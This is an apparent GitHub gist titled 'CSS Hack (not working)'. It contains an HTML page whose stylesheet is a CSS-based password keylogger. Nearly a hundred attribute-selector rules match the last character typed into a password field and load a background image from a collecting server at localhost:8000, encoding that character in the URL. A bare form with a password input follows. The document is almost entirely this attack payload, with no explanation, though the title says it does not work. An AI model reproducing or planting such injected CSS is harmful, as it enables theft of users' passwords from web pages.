Skip to content

Instantly share code, notes, and snippets.

@wamdam
Created February 21, 2018 08:56
Show Gist options
  • Save wamdam/12fb86d546e4ac34990d5844505c1be4 to your computer and use it in GitHub Desktop.
Save wamdam/12fb86d546e4ac34990d5844505c1be4 to your computer and use it in GitHub Desktop.
CSS Hack (not working)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
input[type="password"][value$=" "] { background-image: url("http://localhost:8000/+"); }
input[type="password"][value$="!"] { background-image: url("http://localhost:8000/%21"); }
input[type="password"][value$="\""] { background-image: url("http://localhost:8000/%22"); }
input[type="password"][value$="#"] { background-image: url("http://localhost:8000/%23"); }
input[type="password"][value$="$"] { background-image: url("http://localhost:8000/%24"); }
input[type="password"][value$="%"] { background-image: url("http://localhost:8000/%25"); }
input[type="password"][value$="&"] { background-image: url("http://localhost:8000/%26"); }
input[type="password"][value$="'"] { background-image: url("http://localhost:8000/%27"); }
input[type="password"][value$="("] { background-image: url("http://localhost:8000/%28"); }
input[type="password"][value$=")"] { background-image: url("http://localhost:8000/%29"); }
input[type="password"][value$="*"] { background-image: url("http://localhost:8000/%2A"); }
input[type="password"][value$="+"] { background-image: url("http://localhost:8000/%2B"); }
input[type="password"][value$=","] { background-image: url("http://localhost:8000/%2C"); }
input[type="password"][value$="-"] { background-image: url("http://localhost:8000/-"); }
input[type="password"][value$="."] { background-image: url("http://localhost:8000/."); }
input[type="password"][value$="/"] { background-image: url("http://localhost:8000/%2F"); }
input[type="password"][value$="0"] { background-image: url("http://localhost:8000/0"); }
input[type="password"][value$="1"] { background-image: url("http://localhost:8000/1"); }
input[type="password"][value$="2"] { background-image: url("http://localhost:8000/2"); }
input[type="password"][value$="3"] { background-image: url("http://localhost:8000/3"); }
input[type="password"][value$="4"] { background-image: url("http://localhost:8000/4"); }
input[type="password"][value$="5"] { background-image: url("http://localhost:8000/5"); }
input[type="password"][value$="6"] { background-image: url("http://localhost:8000/6"); }
input[type="password"][value$="7"] { background-image: url("http://localhost:8000/7"); }
input[type="password"][value$="8"] { background-image: url("http://localhost:8000/8"); }
input[type="password"][value$="9"] { background-image: url("http://localhost:8000/9"); }
input[type="password"][value$=":"] { background-image: url("http://localhost:8000/%3A"); }
input[type="password"][value$=";"] { background-image: url("http://localhost:8000/%3B"); }
input[type="password"][value$="<"] { background-image: url("http://localhost:8000/%3C"); }
input[type="password"][value$="="] { background-image: url("http://localhost:8000/%3D"); }
input[type="password"][value$=">"] { background-image: url("http://localhost:8000/%3E"); }
input[type="password"][value$="?"] { background-image: url("http://localhost:8000/%3F"); }
input[type="password"][value$="@"] { background-image: url("http://localhost:8000/%40"); }
input[type="password"][value$="A"] { background-image: url("http://localhost:8000/A"); }
input[type="password"][value$="B"] { background-image: url("http://localhost:8000/B"); }
input[type="password"][value$="C"] { background-image: url("http://localhost:8000/C"); }
input[type="password"][value$="D"] { background-image: url("http://localhost:8000/D"); }
input[type="password"][value$="E"] { background-image: url("http://localhost:8000/E"); }
input[type="password"][value$="F"] { background-image: url("http://localhost:8000/F"); }
input[type="password"][value$="G"] { background-image: url("http://localhost:8000/G"); }
input[type="password"][value$="H"] { background-image: url("http://localhost:8000/H"); }
input[type="password"][value$="I"] { background-image: url("http://localhost:8000/I"); }
input[type="password"][value$="J"] { background-image: url("http://localhost:8000/J"); }
input[type="password"][value$="K"] { background-image: url("http://localhost:8000/K"); }
input[type="password"][value$="L"] { background-image: url("http://localhost:8000/L"); }
input[type="password"][value$="M"] { background-image: url("http://localhost:8000/M"); }
input[type="password"][value$="N"] { background-image: url("http://localhost:8000/N"); }
input[type="password"][value$="O"] { background-image: url("http://localhost:8000/O"); }
input[type="password"][value$="P"] { background-image: url("http://localhost:8000/P"); }
input[type="password"][value$="Q"] { background-image: url("http://localhost:8000/Q"); }
input[type="password"][value$="R"] { background-image: url("http://localhost:8000/R"); }
input[type="password"][value$="S"] { background-image: url("http://localhost:8000/S"); }
input[type="password"][value$="T"] { background-image: url("http://localhost:8000/T"); }
input[type="password"][value$="U"] { background-image: url("http://localhost:8000/U"); }
input[type="password"][value$="V"] { background-image: url("http://localhost:8000/V"); }
input[type="password"][value$="W"] { background-image: url("http://localhost:8000/W"); }
input[type="password"][value$="X"] { background-image: url("http://localhost:8000/X"); }
input[type="password"][value$="Y"] { background-image: url("http://localhost:8000/Y"); }
input[type="password"][value$="Z"] { background-image: url("http://localhost:8000/Z"); }
input[type="password"][value$="["] { background-image: url("http://localhost:8000/%5B"); }
input[type="password"][value$="\\"] { background-image: url("http://localhost:8000/%5C"); }
input[type="password"][value$="]"] { background-image: url("http://localhost:8000/%5D"); }
input[type="password"][value$="^"] { background-image: url("http://localhost:8000/%5E"); }
input[type="password"][value$="_"] { background-image: url("http://localhost:8000/_"); }
input[type="password"][value$="`"] { background-image: url("http://localhost:8000/%60"); }
input[type="password"][value$="a"] { background-image: url("http://localhost:8000/a"); }
input[type="password"][value$="b"] { background-image: url("http://localhost:8000/b"); }
input[type="password"][value$="c"] { background-image: url("http://localhost:8000/c"); }
input[type="password"][value$="d"] { background-image: url("http://localhost:8000/d"); }
input[type="password"][value$="e"] { background-image: url("http://localhost:8000/e"); }
input[type="password"][value$="f"] { background-image: url("http://localhost:8000/f"); }
input[type="password"][value$="g"] { background-image: url("http://localhost:8000/g"); }
input[type="password"][value$="h"] { background-image: url("http://localhost:8000/h"); }
input[type="password"][value$="i"] { background-image: url("http://localhost:8000/i"); }
input[type="password"][value$="j"] { background-image: url("http://localhost:8000/j"); }
input[type="password"][value$="k"] { background-image: url("http://localhost:8000/k"); }
input[type="password"][value$="l"] { background-image: url("http://localhost:8000/l"); }
input[type="password"][value$="m"] { background-image: url("http://localhost:8000/m"); }
input[type="password"][value$="n"] { background-image: url("http://localhost:8000/n"); }
input[type="password"][value$="o"] { background-image: url("http://localhost:8000/o"); }
input[type="password"][value$="p"] { background-image: url("http://localhost:8000/p"); }
input[type="password"][value$="q"] { background-image: url("http://localhost:8000/q"); }
input[type="password"][value$="r"] { background-image: url("http://localhost:8000/r"); }
input[type="password"][value$="s"] { background-image: url("http://localhost:8000/s"); }
input[type="password"][value$="t"] { background-image: url("http://localhost:8000/t"); }
input[type="password"][value$="u"] { background-image: url("http://localhost:8000/u"); }
input[type="password"][value$="v"] { background-image: url("http://localhost:8000/v"); }
input[type="password"][value$="w"] { background-image: url("http://localhost:8000/w"); }
input[type="password"][value$="x"] { background-image: url("http://localhost:8000/x"); }
input[type="password"][value$="y"] { background-image: url("http://localhost:8000/y"); }
input[type="password"][value$="z"] { background-image: url("http://localhost:8000/z"); }
input[type="password"][value$="{"] { background-image: url("http://localhost:8000/%7B"); }
input[type="password"][value$="|"] { background-image: url("http://localhost:8000/%7C"); }
input[type="password"][value$="\\}"] { background-image: url("http://localhost:8000/%7D"); }
input[type="password"][value$="~"] { background-image: url("http://localhost:8000/~"); }
input[type="password"][value$=""] { background-image: url("http://localhost:8000/%7F"); }
</style>
</head>
<body>
<form action="">
<input type="password" name="password" />
</form>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment